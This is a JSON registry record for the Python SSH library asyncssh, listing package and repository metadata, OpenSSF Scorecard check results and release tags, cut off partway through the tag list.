{"id":2645946,"name":"asyncssh","ecosystem":"pypi","description":"AsyncSSH: Asynchronous SSHv2 client and server library","homepage":"http://asyncssh.timeheart.net","licenses":"EPL-2.0 OR GPL-2.0-or-later","normalized_licenses":["EPL-2.0","GPL-2.0-or-later"],"repository_url":"https://github.com/ronf/asyncssh","keywords_array":[],"namespace":null,"versions_count":93,"first_release_published_at":"2014-08-16T04:20:58.000Z","latest_release_published_at":"2026-10-04T02:48:23.000Z","latest_release_number":"2.24.1","last_synced_at":"2026-10-12T10:20:48.226Z","created_at":"2022-04-10T10:05:40.119Z","updated_at":"2026-10-12T10:20:48.226Z","registry_url":"https://pypi.org/project/asyncssh/","install_command":"pip install asyncssh --index-url https://pypi.org/simple","documentation_url":"https://asyncssh.readthedocs.io","metadata":{"funding":null,"documentation":"https://asyncssh.readthedocs.io","classifiers":["Development Status :: 5 - Production/Stable","Environment :: Console","Intended Audience :: Developers","License :: OSI Approved","Operating System :: MacOS :: MacOS X","Operating System :: POSIX","Programming Language :: Python :: 3.10","Programming Language :: Python :: 3.11","Programming Language :: Python :: 3.12","Programming Language :: Python :: 3.13","Programming Language :: Python :: 3.14","Topic :: Internet","Topic :: Security :: Cryptography","Topic :: Software Development :: Libraries :: Python Modules","Topic :: System :: Networking"],"normalized_name":"asyncssh","project_status":null},"repo_metadata":{"id":12827820,"uuid":"15503123","full_name":"ronf/asyncssh","owner":"ronf","description":"AsyncSSH is a Python package which provides an asynchronous client and server implementation of the SSHv2 protocol on top of the Python asyncio framework.","archived":false,"fork":false,"pushed_at":"2026-10-03T02:49:59.000Z","size":6531,"stargazers_count":1760,"open_issues_count":18,"forks_count":181,"subscribers_count":35,"default_branch":"develop","last_synced_at":"2026-10-03T18:13:46.628Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":"","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"epl-2.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/ronf.png","metadata":{"files":{"readme":"README.rst","changelog":null,"contributing":"CONTRIBUTING.rst","funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":"COPYRIGHT","agents":null,"dco":null,"cla":null}},"created_at":"2013-12-29T03:44:51.000Z","updated_at":"2026-10-03T02:50:03.000Z","dependencies_parsed_at":"2023-01-13T17:09:36.052Z","dependency_job_id":"c0c0fb34-665e-4eb6-8386-63b627b8f878","html_url":"https://github.com/ronf/asyncssh","commit_stats":{"total_commits":1253,"total_committers":27,"mean_commits":"46.407407407407405","dds":"0.035115722266560234","last_synced_commit":"95756fa4eb54826adb9156b87443d945fd1ed4f8"},"previous_names":[],"tags_count":100,"template":false,"template_full_name":null,"purl":"pkg:github/ronf/asyncssh","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/ronf","download_url":"https://codeload.github.com/ronf/asyncssh/tar.gz/refs/heads/develop","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/sbom","scorecard":{"id":779181,"data":{"date":"2025-08-11","repo":{"name":"github.com/ronf/asyncssh","commit":"3d31c4c13547bf80f6222ba665dd0ba2b1294779"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":5,"checks":[{"name":"Security-Policy","score":10,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Info: Found disclosure, vulnerability, and/or timelines in security policy: SECURITY.md:1","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Code-Review","score":0,"reason":"Found 2/30 approved changesets -- score normalized to 0","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Token-Permissions","score":10,"reason":"GitHub workflow tokens follow principle of least privilege","details":["Info: jobLevel 'contents' permission set to 'read': .github/workflows/run_tests.yml:11","Warn: jobLevel 'actions' permission set to 'write': .github/workflows/run_tests.yml:12","Warn: jobLevel 'actions' permission set to 'write': .github/workflows/run_tests.yml:134","Info: jobLevel 'contents' permission set to 'read': .github/workflows/run_tests.yml:149","Info: jobLevel 'actions' permission set to 'read': .github/workflows/run_tests.yml:150","Info: topLevel 'contents' permission set to 'read': .github/workflows/run_tests.yml:5"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Maintained","score":10,"reason":"5 commit(s) and 12 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/run_tests.yml:39: update your workflow using https://app.stepsecurity.io/secureworkflow/ronf/asyncssh/run_tests.yml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/run_tests.yml:45: update your workflow using https://app.stepsecurity.io/secureworkflow/ronf/asyncssh/run_tests.yml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/run_tests.yml:51: update your workflow using https://app.stepsecurity.io/secureworkflow/ronf/asyncssh/run_tests.yml/develop?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/run_tests.yml:60: update your workflow using https://app.stepsecurity.io/secureworkflow/ronf/asyncssh/run_tests.yml/develop?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/run_tests.yml:96: update your workflow using https://app.stepsecurity.io/secureworkflow/ronf/asyncssh/run_tests.yml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/run_tests.yml:122: update your workflow using https://app.stepsecurity.io/secureworkflow/ronf/asyncssh/run_tests.yml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/run_tests.yml:137: update your workflow using https://app.stepsecurity.io/secureworkflow/ronf/asyncssh/run_tests.yml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/run_tests.yml:152: update your workflow using https://app.stepsecurity.io/secureworkflow/ronf/asyncssh/run_tests.yml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/run_tests.yml:153: update your workflow using https://app.stepsecurity.io/secureworkflow/ronf/asyncssh/run_tests.yml/develop?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/run_tests.yml:154: update your workflow using https://app.stepsecurity.io/secureworkflow/ronf/asyncssh/run_tests.yml/develop?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/run_tests.yml:168: update your workflow using https://app.stepsecurity.io/secureworkflow/ronf/asyncssh/run_tests.yml/develop?enable=pin","Warn: pipCommand not pinned by hash: .github/workflows/run_tests.yml:109","Warn: pipCommand not pinned by hash: .github/workflows/run_tests.yml:160","Info:   0 out of   8 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   3 third-party GitHubAction dependencies pinned","Info:   0 out of   2 pipCommand dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: Eclipse Public License 2.0: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":0,"reason":"branch protection not enabled on development/release branches","details":["Warn: branch protection not enabled for branch 'develop'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 2 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}},{"name":"Vulnerabilities","score":0,"reason":"10 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: GHSA-3ww4-gg4f-jr7f","Warn: Project is vulnerable to: GHSA-5cpq-8wj7-hf2v","Warn: Project is vulnerable to: PYSEC-2024-225 / GHSA-6vqw-3v5j-54x4","Warn: Project is vulnerable to: GHSA-9v9h-cgj8-h64p","Warn: Project is vulnerable to: GHSA-h4gh-qq45-vh27","Warn: Project is vulnerable to: PYSEC-2023-254 / GHSA-jfhm-5ghh-2f97","Warn: Project is vulnerable to: GHSA-jm77-qphf-c4w8","Warn: Project is vulnerable to: GHSA-v8gr-m533-ghj9","Warn: Project is vulnerable to: GHSA-w7pp-m8wf-vj6r","Warn: Project is vulnerable to: GHSA-x4qr-2fvf-3mr5"],"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}}]},"last_synced_at":"2025-08-23T04:28:33.984Z","repository_id":12827820,"created_at":"2025-08-23T04:28:33.984Z","updated_at":"2025-08-23T04:28:33.984Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":343072799,"owners_count":37991363,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-10-03T21:59:58.778Z","status":"online","status_checked_at":"2026-10-04T02:00:06.888Z","response_time":127,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"ronf","name":"Ron Frederick","uuid":"1901085","kind":"user","description":null,"email":"ronf@timeheart.net","website":null,"location":null,"twitter":null,"company":null,"icon_url":"https://avatars.githubusercontent.com/u/1901085?u=7bba43d83fde5b575a5936f0dad97670950c6364\u0026v=4","repositories_count":9,"last_synced_at":"2026-10-05T01:34:33.806Z","metadata":{"has_sponsors_listing":false,"funding":null},"html_url":"https://github.com/ronf","funding_links":[],"total_stars":1824,"followers":131,"following":0,"created_at":"2022-11-06T20:15:03.054Z","updated_at":"2026-10-05T01:34:33.836Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/ronf","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/ronf/repositories"},"tags":[{"name":"v2.24.0","sha":"3577224af6489a8c2653ce5b60dccfa5979f5ce0","kind":"tag","published_at":"2026-06-27T20:30:32.000Z","download_url":"https://codeload.github.com/ronf/asyncssh/tar.gz/v2.24.0","html_url":"https://github.com/ronf/asyncssh/releases/tag/v2.24.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ronf/asyncssh@v2.24.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v2.24.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v2.24.0/manifests"},{"name":"v2.23.1","sha":"1b5839f3827f7bf546fc311cc8da77788a9d22f7","kind":"tag","published_at":"2026-06-07T14:09:23.000Z","download_url":"https://codeload.github.com/ronf/asyncssh/tar.gz/v2.23.1","html_url":"https://github.com/ronf/asyncssh/releases/tag/v2.23.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ronf/asyncssh@v2.23.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v2.23.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v2.23.1/manifests"},{"name":"v2.23.0","sha":"c060703604009c05e77e9867d4d34794a40c77c4","kind":"tag","published_at":"2026-05-09T03:07:08.000Z","download_url":"https://codeload.github.com/ronf/asyncssh/tar.gz/v2.23.0","html_url":"https://github.com/ronf/asyncssh/releases/tag/v2.23.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ronf/asyncssh@v2.23.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v2.23.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v2.23.0/manifests"},{"name":"v2.22.0","sha":"af5a81e669633d83d535163f93b6bf3f957c9238","kind":"tag","published_at":"2025-12-21T23:37:45.000Z","download_url":"https://codeload.github.com/ronf/asyncssh/tar.gz/v2.22.0","html_url":"https://github.com/ronf/asyncssh/releases/tag/v2.22.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ronf/asyncssh@v2.22.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v2.22.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v2.22.0/manifests"},{"name":"v2.21.1","sha":"ec588e4e8145b6d7d06af82e081c9ebafa03eec2","kind":"tag","published_at":"2025-09-28T16:11:19.000Z","download_url":"https://codeload.github.com/ronf/asyncssh/tar.gz/v2.21.1","html_url":"https://github.com/ronf/asyncssh/releases/tag/v2.21.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ronf/asyncssh@v2.21.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v2.21.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v2.21.1/manifests"},{"name":"v2.21.0","sha":"bf9e1f7ebd3a7eafe12ebbcbe0e861d6daee446a","kind":"tag","published_at":"2025-05-03T13:33:38.000Z","download_url":"https://codeload.github.com/ronf/asyncssh/tar.gz/v2.21.0","html_url":"https://github.com/ronf/asyncssh/releases/tag/v2.21.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ronf/asyncssh@v2.21.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v2.21.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v2.21.0/manifests"},{"name":"v2.20.0","sha":"c5724ce0b082f23f1ab77acfcdaa2870f53e7ec5","kind":"tag","published_at":"2025-02-17T18:30:10.000Z","download_url":"https://codeload.github.com/ronf/asyncssh/tar.gz/v2.20.0","html_url":"https://github.com/ronf/asyncssh/releases/tag/v2.20.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ronf/asyncssh@v2.20.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v2.20.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v2.20.0/manifests"},{"name":"v2.19.0","sha":"ebd5f331eb7a9cfc864fb1db5a05989c4a7bc7fa","kind":"tag","published_at":"2024-12-13T00:38:35.000Z","download_url":"https://codeload.github.com/ronf/asyncssh/tar.gz/v2.19.0","html_url":"https://github.com/ronf/asyncssh/releases/tag/v2.19.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ronf/asyncssh@v2.19.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v2.19.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v2.19.0/manifests"},{"name":"v2.18.0","sha":"51b78466993766c5c1cd108d73574ba5bbbbc257","kind":"tag","published_at":"2024-10-26T17:52:07.000Z","download_url":"https://codeload.github.com/ronf/asyncssh/tar.gz/v2.18.0","html_url":"https://github.com/ronf/asyncssh/releases/tag/v2.18.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ronf/asyncssh@v2.18.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v2.18.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v2.18.0/manifests"},{"name":"v2.17.0","sha":"973cde2ab3594952604f1421ee859bda5b52c520","kind":"tag","published_at":"2024-09-02T16:07:47.000Z","download_url":"https://codeload.github.com/ronf/asyncssh/tar.gz/v2.17.0","html_url":"https://github.com/ronf/asyncssh/releases/tag/v2.17.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ronf/asyncssh@v2.17.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v2.17.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v2.17.0/manifests"},{"name":"v2.16.0","sha":"efb837c5f0b3e3cd4d690adb55b760be3445344f","kind":"tag","published_at":"2024-08-18T03:30:25.000Z","download_url":"https://codeload.github.com/ronf/asyncssh/tar.gz/v2.16.0","html_url":"https://github.com/ronf/asyncssh/releases/tag/v2.16.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ronf/asyncssh@v2.16.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v2.16.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v2.16.0/manifests"},{"name":"v2.15.0","sha":"6d1a99fe68bf5e85a846d327add44d781ec21fed","kind":"tag","published_at":"2024-07-03T22:11:51.000Z","download_url":"https://codeload.github.com/ronf/asyncssh/tar.gz/v2.15.0","html_url":"https://github.com/ronf/asyncssh/releases/tag/v2.15.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ronf/asyncssh@v2.15.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v2.15.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v2.15.0/manifests"},{"name":"v2.14.2","sha":"69f5a41b458b29367a65fe469c2b0255b5db210a","kind":"tag","published_at":"2023-12-18T15:47:11.000Z","download_url":"https://codeload.github.com/ronf/asyncssh/tar.gz/v2.14.2","html_url":"https://github.com/ronf/asyncssh/releases/tag/v2.14.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ronf/asyncssh@v2.14.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v2.14.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v2.14.2/manifests"},{"name":"v2.14.1","sha":"0d6de9aec1a81a4f6ff7400c24b699eb6137fba3","kind":"tag","published_at":"2023-11-09T02:58:14.000Z","download_url":"https://codeload.github.com/ronf/asyncssh/tar.gz/v2.14.1","html_url":"https://github.com/ronf/asyncssh/releases/tag/v2.14.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ronf/asyncssh@v2.14.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v2.14.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v2.14.1/manifests"},{"name":"v2.14.0","sha":"973aee9d84a9913b363d32b091b0c2ba82b72de2","kind":"tag","published_at":"2023-10-01T01:03:37.000Z","download_url":"https://codeload.github.com/ronf/asyncssh/tar.gz/v2.14.0","html_url":"https://github.com/ronf/asyncssh/releases/tag/v2.14.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ronf/asyncssh@v2.14.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v2.14.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v2.14.0/manifests"},{"name":"v2.13.2","sha":"8dba2b17f0cae4929bb5f2f4f8e888745fde1013","kind":"tag","published_at":"2023-06-22T03:06:13.000Z","download_url":"https://codeload.github.com/ronf/asyncssh/tar.gz/v2.13.2","html_url":"https://github.com/ronf/asyncssh/releases/tag/v2.13.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ronf/asyncssh@v2.13.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v2.13.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v2.13.2/manifests"},{"name":"v2.13.1","sha":"533ae18100694ea2c2c4f445e294e25f4e92b7cf","kind":"tag","published_at":"2023-02-18T22:59:36.000Z","download_url":"https://codeload.github.com/ronf/asyncssh/tar.gz/v2.13.1","html_url":"https://github.com/ronf/asyncssh/releases/tag/v2.13.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ronf/asyncssh@v2.13.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v2.13.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v2.13.1/manifests"},{"name":"v2.13.0","sha":"ed5eef8c6d4265b4053021634d107ac141a61b0d","kind":"tag","published_at":"2022-12-27T22:31:56.000Z","download_url":"https://codeload.github.com/ronf/asyncssh/tar.gz/v2.13.0","html_url":"https://github.com/ronf/asyncssh/releases/tag/v2.13.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ronf/asyncssh@v2.13.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v2.13.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v2.13.0/manifests"},{"name":"v2.12.0","sha":"ef16edc49ae5f79b4d0c6f4511a35feb86b1a4e3","kind":"tag","published_at":"2022-08-11T04:38:21.000Z","download_url":"https://codeload.github.com/ronf/asyncssh/tar.gz/v2.12.0","html_url":"https://github.com/ronf/asyncssh/releases/tag/v2.12.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ronf/asyncssh@v2.12.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v2.12.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v2.12.0/manifests"},{"name":"v2.11.0","sha":"03735c2615e636089719d2e1151e41bf2d0dfea2","kind":"tag","published_at":"2022-06-04T22:30:15.000Z","download_url":"https://codeload.github.com/ronf/asyncssh/tar.gz/v2.11.0","html_url":"https://github.com/ronf/asyncssh/releases/tag/v2.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ronf/asyncssh@v2.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v2.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v2.11.0/manifests"},{"name":"v2.10.1","sha":"9cbf2337c5cfd643592b5cfbe113055e7b084084","kind":"tag","published_at":"2022-04-16T20:48:32.000Z","download_url":"https://codeload.github.com/ronf/asyncssh/tar.gz/v2.10.1","html_url":"https://github.com/ronf/asyncssh/releases/tag/v2.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ronf/asyncssh@v2.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v2.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v2.10.1/manifests"},{"name":"v2.10.0","sha":"700fae09254669b13f2a09c9045210db2f5a419f","kind":"tag","published_at":"2022-03-26T22:59:24.000Z","download_url":"https://codeload.github.com/ronf/asyncssh/tar.gz/v2.10.0","html_url":"https://github.com/ronf/asyncssh/releases/tag/v2.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ronf/asyncssh@v2.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v2.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v2.10.0/manifests"},{"name":"v2.9.0","sha":"215dbf63fd82270716814de63e045c512d0e5b72","kind":"tag","published_at":"2022-01-23T16:52:07.000Z","download_url":"https://codeload.github.com/ronf/asyncssh/tar.gz/v2.9.0","html_url":"https://github.com/ronf/asyncssh/releases/tag/v2.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ronf/asyncssh@v2.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v2.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v2.9.0/manifests"},{"name":"v2.8.1","sha":"67b57cfc5ad951e014be08575cb9d6a34438413a","kind":"tag","published_at":"2021-11-08T14:57:04.000Z","download_url":"https://codeload.github.com/ronf/asyncssh/tar.gz/v2.8.1","html_url":"https://github.com/ronf/asyncssh/releases/tag/v2.8.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ronf/asyncssh@v2.8.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v2.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v2.8.1/manifests"},{"name":"v2.8.0","sha":"402154b695c1f343325eed2a005677ae4e977c8b","kind":"tag","published_at":"2021-11-04T02:58:09.000Z","download_url":"https://codeload.github.com/ronf/asyncssh/tar.gz/v2.8.0","html_url":"https://github.com/ronf/asyncssh/releases/tag/v2.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ronf/asyncssh@v2.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ronf%2Fasyncssh/tags/v2.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/h